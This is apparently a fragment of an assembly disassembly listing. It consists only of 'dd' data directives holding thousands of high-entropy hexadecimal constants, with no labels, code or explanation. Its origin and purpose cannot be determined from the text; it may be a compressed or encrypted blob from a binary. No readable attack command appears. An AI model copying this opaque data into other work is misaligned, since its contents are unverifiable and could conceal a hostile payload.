		dd 0EA59DC50h, 0D65A8061h, 0C896449Ch, 0E0560E4h, 91D04721h
		dd 28B8A600h, 6875804Ah, 0CD48EC16h, 0DB087404h, 0E0F52497h
		dd 26DC7CCCh, 4714E189h, 0D89DC8DBh, 9C646Dh, 0A0682C72h
		dd 183BB637h, 0C95FE10Eh, 0E40016F2h, 513C0555h, 106C195Ah
		dd 6F6F68AEh, 0B99E4443h, 0BBC5984Ah, 540A00AAh, 29BE0F7Ch
		dd 0CB27B424h, 0F6E46660h, 0DEA05FEh, 0C257E648h, 28630A70h
		dd 80D8B88Dh, 534B81C7h, 8785016Ah, 13DCFBCAh, 0F975F10Fh
		dd 0D4203E05h, 0E79EA9h, 0B3AB37C6h, 0EE2357EAh, 7244EC00h
		dd 8D2F9462h, 49CC9819h, 3852ECBDh, 3C4483C0h, 600FD6Ah
		dd 5C27489Ah, 80606B18h, 0D460284Eh, 31412699h,	0E6BC09BAh
		dd 0E20093DAh, 756872F6h, 510D6327h, 301A8F08h,	86B4C092h
		dd 2955748h, 0B26644h, 0CCDAFF8Eh, 0BB6E7007h, 6305693h
		dd 2EC83E14h, 938480DFh, 7860A25Eh, 4CA7054Eh, 946D6C17h
		dd 0B84FBF10h, 0C003BD28h, 7255CC46h, 0CB590978h, 3C7930A2h
		dd 7584CF10h, 70C8A976h, 0A1FFE403h, 80D69B88h,	5D440267h
		dd 522C1080h, 5C844984h, 2B165FACh, 175C7890h, 0C7F30B4Fh
		dd 0E0F947A5h, 8079A39Ch, 0B49CD88Fh, 81FA23h, 49ADB57Ah
		dd 2ADE3EE2h, 6EBFD5F3h, 8A891445h, 5C12DC89h, 27C10CEh
		dd 0EEFCCC5Eh, 7DD85500h, 9EE973Eh, 0B42B0413h,	0D70088A6h
		dd 0C253EBC4h, 0A107E1A6h, 0E5CD11CBh, 0FFCCB610h, 0D2CF0016h
		dd 7F71EA22h, 2FC6BF1h,	0B13A6705h, 90FC4592h, 0CC1A8CE0h
		dd 0B227CB1Fh, 8703DF80h, 2B03CBEh, 6345A10Fh, 287C84F5h
		dd 0F400C826h, 3825EB76h, 8CDD006Ch, 0F0AF7B6Bh, 40FB751h
		dd 809FFDE1h, 3A960D8Bh, 40A4BEB8h, 81B4A64Bh, 6A044C00h
		dd 0A5744FC8h, 72BC1D9Dh, 4DA56AFh, 882B6C53h, 5E0E7C08h
		dd 0FC5AFBh, 90FD60EEh,	39A71F4Dh, 99A8079h, 0F22AAEA4h
		dd 3654FE14h, 8677079Dh, 0A0A08A97h, 385CF0C9h,	5381B069h
		dd 966A166Ch, 0FC885548h, 34068064h, 4A5F53AAh,	88A28Bh
		dd 732EFEC0h, 0CD6B3Fh,	0CE33557Bh, 91223296h, 0DEFF450Bh
		dd 464C90F4h, 30BE0558h, 0EC516A4Ah, 0FD4380C0h, 6045E0C9h
		dd 0FB8026C0h, 86002AF5h, 1AEBA4E5h, 913AC901h,	14518034h
		dd 0AA173F83h, 0CEBE6302h, 60678BE1h, 7C193DC0h, 0EACB017Ah
		dd 0D83C28F6h, 20F420B7h, 0D473EB05h, 6CB5BC70h, 91F29C60h
		dd 0D246183Ch, 0C2E7A09h, 5B4428FDh, 0DD0D7440h, 12122897h
		dd 470107A4h, 68E733AAh
		dd 2E456820h, 4018C9F7h, 8B02E8BCh, 1DB9570Bh, 5E750450h
		dd 7C0058E2h, 0E283BEA4h, 0AC5C26A7h, 59700B4Ch, 0F0D849D4h
		dd 471B0910h, 0F49387F8h, 0D5C85410h, 0DACC7840h, 0E60E4E7Bh
		dd 0E4425Ch, 0F2446C92h, 25779D7Ah, 9C64AE31h, 52B48613h
		dd 0F88F9900h, 39311AFh, 8A73A203h, 30A75717h, 5B54442Ah
		dd 0E4A3604Ah, 6D002B3Bh, 0CDB7CC52h, 0BE2E1CD2h, 781628C1h
		dd 480E9017h, 7D286125h, 398C6AF4h, 2A99ADC2h, 0E16C34F3h
		dd 25274EE8h, 77CE6D8h,	0D882939h, 57770249h, 145B5461h
		dd 988048BCh, 0FBC09946h, 82D38C05h, 2CCD7326h,	0C00D06Ch
		dd 67AB2702h, 0A4918370h, 0D880A824h, 493590AEh, 27CC3CA7h
		dd 8717C800h, 0D9ADE159h, 58B26720h, 1F8E8C6Eh,	3F1B45E0h
		dd 0C00B562h, 0DA37B23Eh, 383D90A6h, 0F2CED2D0h, 0F0172030h
		dd 681539CAh, 0D25B863Fh, 1C208F5Ch, 7083ACEh, 0BE3E6DD7h
		dd 0FD58F002h, 9B7A5C15h, 605C27FEh, 69221C80h,	41950DB8h
		dd 62FA48D7h, 6060DC10h, 631D58EFh, 0ADB77A00h,	93B6FE26h
		dd 4A7B7Eh, 60524490h, 47C0B1FAh, 26B2A200h, 4F8287Bh
		dd 0DA6006Ch, 0BB58D3EAh, 0F23C2070h, 389180AAh, 27A01D64h
		dd 0ACEA6Ch, 7B758F1Bh,	9601BF60h, 42AC08D4h, 0C48D27D0h
		dd 0A6F9A05Ch, 0FC8202FEh, 601AF890h, 0C04C8880h, 262852BDh
		dd 6E5BC4D9h, 0FA68C8h,	5D4D110Ah, 905026F7h, 7428BC05h
		dd 0E0202C70h, 0F14C2Eh, 299106D5h, 1490B6D0h, 6900C4B1h
		dd 0D9D35234h, 85E9008Dh, 4B4E8B07h, 0A40BA2A3h, 7F6D5BBh
		dd 7634C709h, 0E0CCA4h,	0EBA3CA08h, 0D54C45D0h,	0C6DB9A0Bh
		dd 0F36B003Bh, 74FD3024h, 4ECA147Bh, 51037878h,	769AADA2h
		dd 246227F0h, 0A3737700h, 2A3754FFh, 0DEAB2E92h, 0D5B000Dh
		dd 3281D8CFh, 85449F4Ch, 0F88C216Ch, 1C4682E1h,	3714AD00h
		dd 0AC248CEBh, 1CFC4BBBh, 8CE62704h, 0CC91100h,	2E0DD48Ah
		dd 363731B6h, 807D8BFAh, 44033D44h, 6050F8h, 0F1EDC9FEh
		dd 0C892B02Ch, 0EE85CA19h, 20E15810h, 0F2AC203Ah, 3E035ECh
		dd 0D8D17F02h, 0A4A23282h, 0D9327A5Ch, 2321E84Ch, 126D05DBh
		dd 3C008C2Ch, 52007EF2h, 2249F0C8h, 261355h, 630120F9h
		dd 48603AC4h, 0DA901827h, 0D530148h, 35D90907h,	30C13B04h
		dd 0D022DAADh, 98164C2Fh, 8DE62900h, 73803EACh,	0BD0E1364h
		dd 7A74D1C9h, 4B59702Bh, 840D4900h, 576A3A6Dh, 0E3EF007Dh
		dd 17455908h, 5B299D02h, 0C80CB4E1h, 0B02F41AAh, 1DA40792h
		dd 0F0E2BD99h, 0A5029F3Dh, 0F8F493B7h, 265CDFh,	0C80F28ABh
		dd 7D9267F4h, 0CFB9151Eh, 0D6C11D18h, 8BBA0071h, 1CDFA1F3h
		dd 8A0C9D7h, 5E4AF056h,	501140B0h, 2CC74CAh, 31AB2099h
		dd 0D3824B0Ch, 905FA88Dh, 91C840h, 0C175AF73h, 1EDF1033h
		dd 0A1A35001h, 781260D3h, 52071029h, 0D1671874h, 6E3237AAh
		dd 1F8F020h, 0EB5E2595h, 79510C20h, 0FEE4DA93h,	0E97E4637h
		dd 2E7AB0C0h, 14A35070h, 71F100B3h, 1C0E76E1h, 930E982Ah
		dd 53A37299h, 860BC43h,	0C445F013h, 2AAF13BCh, 5C24C8B4h
		dd 0E300D0E4h, 0F116BD7Eh, 0AC7C526h, 187C6704h, 74442584h
		dd 1032FC00h, 9492F076h, 20AD002Ah, 0B79A841Dh,	0C700C403h
		dd 4E976270h, 0B0A922Ch, 0F8FF73BDh, 0A88B4C10h, 0EC0DEC24h
		dd 20F820ADh, 5505737h,	0D4A12F99h, 0E2B4F415h,	22948001h
		dd 2B4F7F8Eh, 204AC20h,	5668D03Fh, 17D6CC4h, 4931C0A4h
		dd 74000862h, 1660D6Bh,	29F19B6h, 0C9FE6F4Ch, 0B022D2E0h
		dd 1B5222C8h, 880CC390h, 1F4B7BCFh, 0C2537EC5h,	283709E7h
		dd 7940E8FCh, 2050F2h, 5EBAE30h, 811D8F13h, 425CBD09h
		dd 61EC5C8Ah, 0C1D4C193h, 0A231DCF0h, 0D8119460h, 29641662h
		dd 2FF0E15Eh, 536A8490h, 42C17900h, 0BFEEACF8h,	39A73EDAh
		dd 0F75F21E0h, 401D176Fh, 5E46582Eh, 0FC1170AFh, 20535FA2h
		dd 6778DA10h, 1CA7902Eh, 73C0055Eh, 0DCB0B852h,	61008150h
		dd 0A29C9DC5h, 13D05499h, 0B88D2880h, 3E2D8758h, 0ECAFDDD0h
		dd 86B60733h, 0D5C11Fh,	5DDA9005h, 733B3827h, 5EEA0018h
		dd 86057E78h, 4FB67F1Ch, 8AA36A80h, 9443B856h, 0EB5A853Ch
		dd 16C0563Eh, 0D9EC30DCh, 0E59F909Eh, 70E00288h, 44072D3h
		dd 0BD050819h, 0E22B90BAh, 468D8C80h, 95FF0CDFh, 0CE584BE1h
		dd 0E44F38B8h, 6356C841h, 88788D06h, 3E89FF81h,	0A6ECD4DBh
		dd 0C0834C2Ch, 70B06A12h, 585AF231h, 780924B0h,	908BC9C1h
		dd 650008D9h, 471BF2DDh, 0B21C4B7Eh, 0EF7B019Ch, 0D4EAB040h
		dd 0ACA9FDCh, 21E625C5h, 9F8ACC8h, 5C197082h, 1A682330h
		dd 5E07372h, 98CAFE84h,	0A8D9AE84h, 412B885Ch, 68F79063h
		dd 646A0058h, 877F93BAh, 0C48C5DC2h, 0D1D03C02h, 2629B05Eh
		dd 941D3B0h, 15CB5955h,	0FC00B851h, 9E5B350Dh, 29853811h
		dd 150DAA6h, 5ECBD042h,	6B2452B6h, 79004919h, 0B92DEBB6h
		dd 7500628Dh, 9768A0B8h, 0BB4F3917h, 0D030EE12h, 2C62870Ch
		dd 719418Ch, 40117D03h,	0F5E01052h, 8B3C3813h, 6F6E511Eh
		dd 5A59601Ah, 51AA44D4h, 0D6041FFAh, 0F83967CEh, 0B003B4B3h
		dd 404770D1h, 0E9A8BBE0h, 521672E8h, 34E386B7h,	981F4448h
		dd 28D483FEh, 0C817C4B8h, 0A82071ADh, 9152A41Ah, 55E38164h
		dd 2B25AEFBh, 275068C1h, 5F0AA07Bh, 0F00E6225h,	40149D1Ch
		dd 7068E346h, 0AE4D0314h, 21142F6Fh, 0CAF8254Ch, 20A028B6h
		dd 24FF7917h, 7D90C8h, 0FECEEAC6h, 0D8683717h, 266A0D00h
		dd 9613CC30h, 1FB40047h, 3F54258Ah, 9CBC9A45h, 64E75764h
		dd 0E5E37000h, 0BBBA1D50h, 515FE2F8h, 0CEF30800h, 297978h
		dd 0D4D27CCDh, 73DE48Ch, 3D3F58BCh, 241809DCh, 9C8058A8h
		dd 32CD44B0h, 98D41256h, 0D9F18440h, 46250039h,	33A5440Ah
		dd 68007721h, 15235FF2h, 3572A0h, 381D7A58h, 824E3286h
		dd 0D74A4078h, 283F0CB1h, 0E300E190h, 58C9910Eh, 7EFA45h
		dd 8873DA19h, 0DC72ADBh, 5CA3E412h, 0A800C425h,	0A6909858h
		dd 65E14A26h, 2C8B3D0h,	443C27BEh, 27ACD2AFh, 44953Ah
		dd 6600DAFAh, 1D911B7h,	0F291DD7h, 6DFCAC94h, 26919260h
		dd 0F8172865h, 0D0027E38h, 46DBD473h, 2E2F43FCh, 3460308Dh
		dd 1C27D75h, 20ABF6Ah, 70C0FD84h, 1D0E60E7h, 0A3FFF07Bh
		dd 8ECA17h, 46774A41h, 0D12B28ECh, 31FDF707h, 75406394h
		dd 2C6229DBh, 60888040h, 1EB60B78h, 0B4A0ECFCh,	11C00CA0h
		dd 0AE1858D7h, 60919575h, 846D0C25h, 67695105h,	94CC893Fh
		dd 1C281782h, 5F840074h, 5A159E75h, 1230A22Dh, 6658C16Ch
		dd 8CA04812h, 0AB83727Bh, 190B089Eh, 29CCC878h,	0EB620709h
		dd 0D0798868h, 66200EC9h, 0DEB2C200h, 284E2A04h, 9150AADCh
		dd 4C796EECh, 6F889203h, 98E8E6A8h, 2578D185h, 9D00C8E4h
		dd 0A5B520C4h, 494DEC64h, 3018ECCAh, 0F58D8167h, 0EF143901h
		dd 17037F7h, 6CD4D2h, 0CB035211h, 0D100A43Ch, 5E9986A1h
		dd 2EF62D13h, 11427DAh,	0E5A9A591h, 30A7606Fh, 0AF117300h
		dd 8570ED88h, 6DD5000Fh, 2B2D2895h, 64A9224Eh, 0F40E0B70h
		dd 33E00D0Bh, 673B3F72h, 2141B700h, 9EA88D90h, 5A1104FCh
		dd 0BA53A417h, 1525AC40h, 0B03AAC2Eh, 5890BDF8h, 0F00F1A70h
		dd 0C6B511B4h, 17B08D88h, 0C82827h, 0BC55B06Ch,	58169935h
		dd 0A01B5E70h, 40E8F411h, 600A40DFh, 0AE65D2F9h, 0F498EE7Eh
		dd 1F507098h, 8B88A060h
		dd 48990054h, 0DD819068h, 0D100FF17h, 757FE973h, 13EF8238h
		dd 0D2294D13h, 0E4527720h, 62A4F903h, 0A8289CF8h, 143A958h
		dd 0A6478CC9h, 0C19FCB32h, 0D908F041h, 6E90B600h, 4264AB2Bh
		dd 80BB1C8Ah, 5FDF0055h, 0ACD8CB61h, 17594D16h,	4240301Ch
		dd 786A57BDh, 7410B50Ah, 2200B275h, 0BB5C6CE2h,	149C838h
		dd 0E2CE458h, 406FF650h, 0C26EC6Ch, 0BA5B7800h,	0F56B807Bh
		dd 0F310015h, 0D3ACE85h, 200C995h, 7DA73DA3h, 12E46433h
		dd 0C8D05097h, 78F4CE94h, 0D63DA14h, 0A45626DEh, 0E24962Dh
		dd 6FFBBA78h, 0EC5E4DA1h, 90EC5598h, 5A492480h,	78F7BD1Fh
		dd 96344BC0h, 274DA99Ah, 6C44942Ch, 0B24BCD42h,	0D4F500ECh
		dd 3E95C8DDh, 239A0789h, 914097Ah, 0B390F400h, 3030B5AAh
		dd 6CDC319Fh, 0E6813E79h, 4070599Dh, 5E9585F5h,	1C0362AFh
		dd 0DCCF053Ah, 0DCEBCA06h, 2328400Ch, 204C8F31h, 103225C4h
		dd 3FF2B3A8h, 5803A2E8h, 0F1FB5E73h, 3830115Ah,	246ECA7h
		dd 5B530D4Dh, 0CC9B57A5h, 52C02AD9h, 0C810E174h, 0A4D588C3h
		dd 5E713526h, 77E0200h,	0F988A55h, 0D26241FCh, 0F24C9EA0h
		dd 2404F8FFh, 1EDDD06h,	2D00B0E2h, 0C5E5D6EAh, 6C1E7E4Bh
		dd 0E8807430h, 0C8092BF0h, 2E103B9h, 0C5D8E534h, 74394904h
		dd 30EB0E64h, 0A83D6358h, 3E853800h, 99B80695h,	7AD03CBh
		dd 876FD82Ah, 70AE1916h, 10221C32h, 0EC2E6278h,	5180D0A5h
		dd 0FB72C7F3h, 0F82D04EFh, 0F8F29770h, 26588380h, 4A62983Eh
		dd 682200EFh, 2A30EE78h, 0C300CBB2h, 4EE9E02Bh,	60961804h
		dd 6BBD907Bh, 117F5E8h,	9400ACAEh, 0B064A91Dh, 0D09F4822h
		dd 6AECEBC0h, 9A3BAAABh, 0D9FC000Ah, 0C6F89495h, 76D41469h
		dd 2611604Fh, 90FC13DFh, 0A9F4C8h, 9D33E9D3h, 7708936Dh
		dd 1BC22903h, 90B46F82h, 262C5B57h, 4B6855D0h, 813EB051h
		dd 0BE53FD70h, 99F5829Eh, 72801438h, 0C1C9D498h, 5C24BF0Fh
		dd 0F2A2E0B4h, 954C1CCDh, 2EA390AEh, 992FEFC4h,	84081015h
		dd 0D703008Fh, 4EEE47B0h, 2412DE77h, 40B84B6Ah,	0E6BB3001h
		dd 202A378Ch, 0DE41C0C8h, 0D788047Dh, 44CAC862h, 0DB39FEFCh
		dd 0CFD988A9h, 306C64DAh, 88AAC5Fh, 39DECC00h, 0FF928689h
		dd 49A54000h, 8173298h,	15701C1Bh, 5C68014h, 908E7331h
		dd 6CA7F60Eh, 38D76575h, 0F14BF900h, 3BBFB04Eh,	0DF138874h
		dd 158811Bh, 0FC140262h, 95F380D4h, 7AB432F0h, 0C550E700h
		dd 0C6EE4E65h, 0D8100967h, 884A6DDCh, 584B94F6h, 0C7731830h
		dd 57870F8h, 8CB4FF00h,	0F49855DAh, 0FCAB1E27h,	1DBF013Dh
		dd 0F85C7570h, 500058D4h, 6D8627Eh, 2659E191h, 0C18C1D45h
		dd 0A7E2A030h, 0D8E419h, 0E3B6739h, 0A6E7536Eh,	9C706D00h
		dd 90FED83Eh, 80730097h, 33A5278Ah, 4214F089h, 1E98EAB5h
		dd 8602C5D4h, 0D72B2F02h, 8D67AC18h, 601CBF16h,	0E2CD1C00h
		dd 0FB265910h, 0A3801C29h, 0B0D09B11h, 88407894h, 9130Bh
		dd 0EE19C7D1h, 5E7C2CB8h, 68CC284Bh, 0DCC3D99h,	32798A80h
		dd 0F091EF2Bh, 0A987100h, 17B204FDh, 20E148CFh,	5100A922h
		dd 4BE6C55Dh, 0F0E3423Bh, 0F87016E2h, 5058A4A1h, 893CB00Bh
		dd 0FCA862F4h, 77097FCh, 4B6E6BC0h, 15002071h, 923D5E7Fh
		dd 184E00D9h, 6AAD7886h, 0FB05D18Dh, 0B8B4B6D4h, 20E0CC82h
		dd 0C57D4364h, 7B0087F0h, 9C235FECh, 652A11h, 0BF93308Dh
		dd 38629AC4h, 308748h, 1AFC6BB5h, 175C185h, 0D5CB3156h
		dd 2A596CADh, 0AB256021h, 7871820h, 0FD513BBFh,	5A5C6070h
		dd 309CEE0Ch, 7EA72A40h, 0F3C200F6h, 55FB43E4h,	98E037E8h
		dd 1B13A51Ah, 354C6F0h,	0E9D9B73Eh, 19B02E25h, 2712686Ch
		dd 4C8083C9h, 0BD9E5FCh, 6F60EC37h, 4700DCF2h, 6AD72C7Fh
		dd 0B67BEEh, 998B5CAEh,	0E581223Dh, 95091870h, 0E8DCFBC1h
		dd 72FA095Ch, 8540D340h, 5C30BA1Ch, 0BACB92Ah, 0BE52D686h
		dd 0F46FD804h, 320CF774h, 0C6F8477Dh, 5DD92F09h, 8FCF0A0h
		dd 66003A4Dh, 0ADB00A90h, 95AF0F71h, 15C758E9h,	0ADC0F8F8h
		dd 92796B36h, 0AC00CF74h, 35758B39h, 32A1BDEh, 5EA28143h
		dd 0F5D9F790h, 0FF1960CBh, 0A9D4442Fh, 64F48070h, 613437Ch
		dd 77327BF0h, 2C001163h, 0F17DE21Ch, 93A926CAh,	0AD779288h
		dd 3CB60090h, 8D9A2858h, 0EC331C24h, 2526CF20h,	804BCFE0h
		dd 84A21AE5h, 75C43851h, 58E10823h, 0B90784Dh, 9723F70h
		dd 0CE4A8h, 13EA16D2h, 2B672631h, 98A4175Eh, 7D512EC1h
		dd 0B8804B04h, 572C261Ch, 6C0BA45Ah, 50105ED6h,	4D09054Eh
		dd 7146633Dh, 92D30020h, 88E8D551h, 0A4770A0Bh,	96F05157h
		dd 5CB08825h, 68588h, 41A161F6h, 0F23283E2h, 715D8A01h
		dd 2790BABEh, 0C85B8868h, 1300A4E8h, 0C904867Ah, 38C01D4Ch
		dd 0CB9759A6h, 0A160AC1Bh, 0C80856B3h, 7100209Dh, 1C18CB05h
		dd 0C0D32776h, 79F9F61Eh, 0D50D48BCh, 0A0A2454Ah, 777062CAh
		dd 0EC091490h, 1D9F75Ch, 0A138F488h, 0DC33D90Ah, 510E780Ah
		dd 80775AFCh, 817ED2A0h, 54262DF8h, 383160A9h, 58606E65h
		dd 6B5642h, 37F2451h, 0BCC2F45Eh, 28A48212h, 63808CB2h
		dd 1AA91783h, 0E884E600h, 6C53AEF1h, 1B208072h,	79630225h
		dd 2D3D003Ch, 384E42F2h, 2109E300h, 0B7760166h,	8D150932h
		dd 3CF464D9h, 8854EA40h, 523D1D2Ch, 0D200FE08h,	0EF90EB77h
		dd 90951451h, 1619A5B0h, 0ACE15E1Bh, 4F53A78Ch,	51F1C8D0h
		dd 0E6920211h, 0E21689C7h, 0F3ACB077h, 234D5BBCh, 13F86400h
		dd 18E88728h, 0E49CFC98h, 331A8340h, 0AF7800D0h, 3F5E0C74h
		dd 0CA00B127h, 54E09F98h, 25F2F6CEh, 80951EBh, 0B300C8D1h
		dd 2AEEB8D4h, 923B0059h, 57DD42A0h, 89FC07FCh, 0DA43CC09h
		dd 13C87BAEh, 0C210A813h, 0E0CDB5D7h, 5FF43Dh, 689EDEF7h
		dd 7884F862h, 0D8C43C07h, 8E404023h, 72AE11Eh, 41F494B1h
		dd 6AEAB0F0h, 0E000C804h, 93D251A8h, 902074DAh,	0B707518h
		dd 0A372F7B1h, 71306E01h, 0AC8A6FF1h, 0CC587804h, 440FCE3h
		dd 0C430A257h, 0C2070FAh, 4F000BFCh, 0E9639D57h, 1C1A7D0h
		dd 345F7B7Dh, 6B250907h, 0DB71D420h, 2CB097B2h,	86001482h
		dd 4A540137h, 4F6F79E4h, 6C0C08BBh, 14887045h, 0A18B005Dh
		dd 38F51D2Eh, 0AA745231h, 0BA6F4307h, 86902FD7h, 4C13C35Fh
		dd 2506E0EAh, 812838D8h, 0C2809B58h, 0E2A8073Dh, 1EB052A4h
		dd 524F846h, 0E099D9F9h, 79D49EC0h, 0AE5CC7F4h,	702B72B0h
		dd 0A39400DFh, 7675CB91h, 74278B6Dh, 4C0CEC48h,	0C400F4CFh
		dd 0B0F728CDh, 6B0351C8h, 6E701E14h, 79190461h,	0F9AC7456h
		dd 0C52C13D4h, 46F028h,	0FDBED57Eh, 369AEB1Bh, 3D4F9300h
		dd 5D3FE8FFh, 0BD400494h, 0B76177h, 4955E324h, 2C81BF75h
		dd 5879310Eh, 928356ECh, 40662457h, 0E2EEAC3Bh,	3C160118h
		dd 0A0C91FB3h, 0C03ED18Dh, 7901A8F2h, 2D0A8E1Bh, 0B0484E8Ch
		dd 44718AAEh, 0F956CA00h, 0DDF0D7h, 2C926DE5h, 0E10C3EB0h
		dd 0C91C430Fh, 2D08C7DBh, 27495626h, 404EB970h,	0BA2D4700h
		dd 0F85502FAh, 0EE48B2AEh, 0A03A787Fh, 90979B5Ch, 98F0D9h
		dd 0A93B0AC0h, 87FDF8ECh, 3CDD9301h, 0A870AA51h, 0B2B491F2h
		dd 0B828BB15h, 89A36071h, 0DB4F3101h, 0A55C2E39h, 0DFCC6815h
		dd 0C9E10058h, 0BABBEC68h, 609A756h, 0F92D9D70h, 963A0344h
		dd 0A5D038D3h, 410060E8h, 2A14DF1Dh, 17AD7E18h,	81176DF6h
		dd 52D76564h, 7A11CC40h
		dd 0A07D70F9h, 9D3A4C00h, 6D2DE48Dh, 78DF022Dh,	85F24B4Ch
		dd 805CEC50h, 19C5311Eh, 0A80C0123h, 4053B80Fh,	30402A4Fh
		dd 0BD0E7B2Eh, 0C7FD0E4Eh, 0EA03BFA1h, 8CD081F6h, 3C27301Ch
		dd 98CD87Bh, 0F42C4CECh, 60EFC8D4h, 86DDD814h, 53B70C36h
		dd 5A30AFCFh, 89E4EC34h, 209C32BEh, 7E10095Fh, 591180C8h
		dd 708DDD18h, 0FA9A544h, 0D0DB0F0Eh, 0E2D5C760h, 70979029h
		dd 440B5B8Dh, 8CB21DF0h, 7A3017E8h, 0BF7941A0h,	44983AB3h
		dd 5E532D00h, 9711740Ch, 107F6607h, 5FD08A9Ah, 4E606850h
		dd 0ACE2BEh, 0A16A58EAh, 7D9F0E8Bh, 1F920F53h, 0AE60A55Ch
		dd 0BE2D2098h, 0CC61EE04h, 0A499FF3Bh, 8D780B6Fh, 0A30028E4h
		dd 0ADD1A50Eh, 0A2F93Ah, 7AC6501Dh, 3EEF4045h, 72BFA61Dh
		dd 270A1A81h, 60C251F7h, 98FEC2D8h, 9D9FB060h, 5470D068h
		dd 761AB140h, 0B81C2F28h, 99D89800h, 77000D63h,	0A590643Eh
		dd 35BA133h, 235FAC6Ah,	7C8C1B9h, 1D167AAFh, 0D8F2D95Eh
		dd 0C3007694h, 0CB70A662h, 0B40025F2h, 0D720E209h, 24853360h
		dd 2D2076A1h, 0EC083851h, 59A28BFFh, 0D740F059h, 0C1099384h
		dd 0B95C54DCh, 0C0547C60h, 45E3B699h, 2D2A0522h, 8838A89Dh
		dd 1A2DDFD0h, 0ACCE65Fh, 0F2D0924h, 4DC66488h, 4EC560C9h
		dd 39B22000h, 0C0003B79h, 85C565ACh, 7BD2C5Fh, 9EE783C3h
		dd 6EF9C093h, 0B716F28Fh, 0E0306AB2h, 7527AD9Dh, 0BD79B8h
		dd 8EDE5F58h, 95FD7B94h, 4A62C50Fh, 0B0ED93ECh,	577E5308h
		dd 4E0B4AA6h, 79B40091h, 0E041507Fh, 4DEC13DAh,	2BDC83AEh
		dd 0C8E224B4h, 0FFB50800h, 55AE7CF0h, 979DD926h, 35A7BA00h
		dd 90B93B9h, 254D109Eh,	31C2E0F6h, 70F220D4h, 92E7386h
		dd 924064F8h, 0DE5116h,	5B394388h, 742B8C78h, 584EC73Ch
		dd 3C1C0078h, 994053Fh,	862C0770h, 774C5057h, 4FE17F4Eh
		dd 34BFB35Ah, 0CBB59D9Ch, 241EF2C4h, 80B0FCFCh,	855D2469h
		dd 9656003Eh, 359E0C15h, 0AEEEC9E3h, 0EF846005h, 0ACF888CFh
		dd 0DED48Eh, 0C97C31Ah,	0CF3D703Eh, 0A8538007h,	0AE4F86E0h
		dd 13EA38CAh, 0D218205Eh, 0A804A134h, 5EF24FECh, 745A29C1h
		dd 0C802FF45h, 0F827E1BFh, 38643A78h, 0ACD91AA5h, 6508B00h
		dd 4DECFDACh, 0F1C858B6h, 9205944h, 0F84E2DD9h,	161054h
		dd 0D835D50Ah, 988B8C7h, 40FFA3E6h, 90410D9h, 20BB286Eh
		dd 0FAE0B55Ch, 865A1B01h, 0F352258Eh, 15849C8h,	4DC37B50h
		dd 4036D2F8h, 0ACBE85CAh, 203BE079h, 0BA7B0F75h, 4D1838D0h
		dd 4852039Bh, 0C134AF09h, 0BC20A792h, 439305h, 0CD2CD064h
		dd 2800ABBh, 36C4700Fh,	65A7C034h, 0A6A007h, 0C0BC75A9h
		dd 2F4B43ABh, 0F7E49B03h, 0A69248D2h, 0F7AD5C50h, 50A67800h
		dd 667147FCh, 565C7E1Bh, 0CFD1BBA1h, 0BB429DB0h, 0EC4B00E5h
		dd 0D81E06BFh, 61012CB8h, 5009643Ah, 3F206732h,	2BB100A8h
		dd 0C499B68Ah, 0B006ACCh, 0F8EFBCE2h, 0FDA465Fh, 6474FB15h
		dd 69535CE6h, 2E1F4F01h, 0D5A3B27Eh, 544B42C8h,	0DC415833h
		dd 0FC4C0F29h, 0E3A878CCh, 9D28BCFCh, 8500ACB8h, 796CFAC6h
		dd 79447BDh, 175DEE92h,	6088AAA8h, 34E3C084h, 91A8D254h
		dd 0F07CAD00h, 0CF27862Ah, 0A8472A52h, 102C43CCh, 6F297889h
		dd 0B60D00E4h, 854BCE3Fh, 884AD307h, 82CE1CA7h,	20F6C58Eh
		dd 34C63AF7h, 3111A960h, 25CDFEh, 419DC06Eh, 36BF0AB0h
		dd 2601A97Ah, 0E60E5540h, 4CF461D0h, 0F8C5184Fh, 0D2B9E192h
		dd 20A02CA1h, 0FD407D10h, 18ED78ADh, 21CE354Bh,	0CF00CA3Bh
		dd 8E18173Ah, 4B0EEC2h,	92766103h, 3EB0BAF2h, 0B6270133h
		dd 429C8B52h, 87A9E043h, 0FA78097Ch, 245CC554h,	63735A00h
		dd 0BA29C214h, 8FF6043Bh, 803CAB52h, 0E5908BABh, 5C5DD02Ah
		dd 6AAF344h, 8C9C52CBh,	0D022C91Dh, 53C51818h, 0D47729C4h
		dd 0B4244A14h, 43D20FA4h, 34289054h, 35CD006Ch,	0D2AF4FEDh
		dd 21C11F44h, 772B76ADh, 377B5AECh, 0D019595Ch,	26E84B40h
		dd 9823EB00h, 8D184FBCh, 0B93D03C3h, 279D511Ch,	5C0FF80h
		dd 0B605502h, 4074C730h, 9135E39Ch, 10590014h, 845A436Ah
		dd 0C9DCE124h, 963CA01h, 52D4E41Bh, 1C9F31A0h, 10E6D1E1h
		dd 88B67018h, 0A23D69E4h, 0ED5E80CAh, 0D3DA66B2h, 0AD8B2479h
		dd 73FC0838h, 0C5438644h, 4103BB52h, 8A5D56DEh,	1846E8B9h
		dd 0E2D10136h, 6F4F147Eh, 0D64C24D3h, 0F6AA633Dh, 0EF98AB00h
		dd 3D50E7E9h, 9B5812B3h, 88841460h, 644AB000h, 12FFA9Fh
		dd 6124A748h, 4C1EF970h, 756FAD10h, 310088DEh, 42598CF3h
		dd 5FCA009Eh, 345319C9h, 3D052645h, 585CC3D2h, 9316BC40h
		dd 0FFAA6Fh, 29AFCED9h,	14CA4821h, 0AC3B6328h, 0A5C344h
		dd 2569A634h, 38FD5B67h, 0E7D9CB1Ch, 0ACC5C040h, 7F4B6478h
		dd 0C37E0346h, 0BDC44C56h, 9325900Eh, 8BFCE463h, 445BA8D2h
		dd 64870008h, 4D761CE9h, 2D00D393h, 55883A24h, 9D53525h
		dd 0BD260EAAh, 32A0F425h, 0DC9004BCh, 9D131166h, 340276D8h
		dd 80BD984Ah, 60AC25F0h, 8CA46Eh, 7B818AC8h, 0DC47B555h
		dd 95F93Ah, 0D4FB18F1h,	29E4AEB4h, 87BC5F9Dh, 0A9176382h
		dd 6EB70C10h, 83AA673Ah, 0E10690C5h, 0CB89D0C7h, 79462A56h
		dd 661B02ECh, 0AC1831BCh, 95FAE863h, 0ED087711h, 1270F83Ah
		dd 100424ABh, 0C504B3CEh, 0CF854FFDh, 1FE91835h, 8AC0055h
		dd 6BFB092Ah, 0BD6564C2h, 87AFCAA0h, 0CFA91378h, 0F0408DDAh
		dd 4984AFB1h, 0CC84DCF9h, 0DE8D00C3h, 11195EAFh, 0ECF3538h
		dd 4964A7h, 0CD143ED1h,	66AA0016h, 0A84AE27Dh, 0F80063FEh
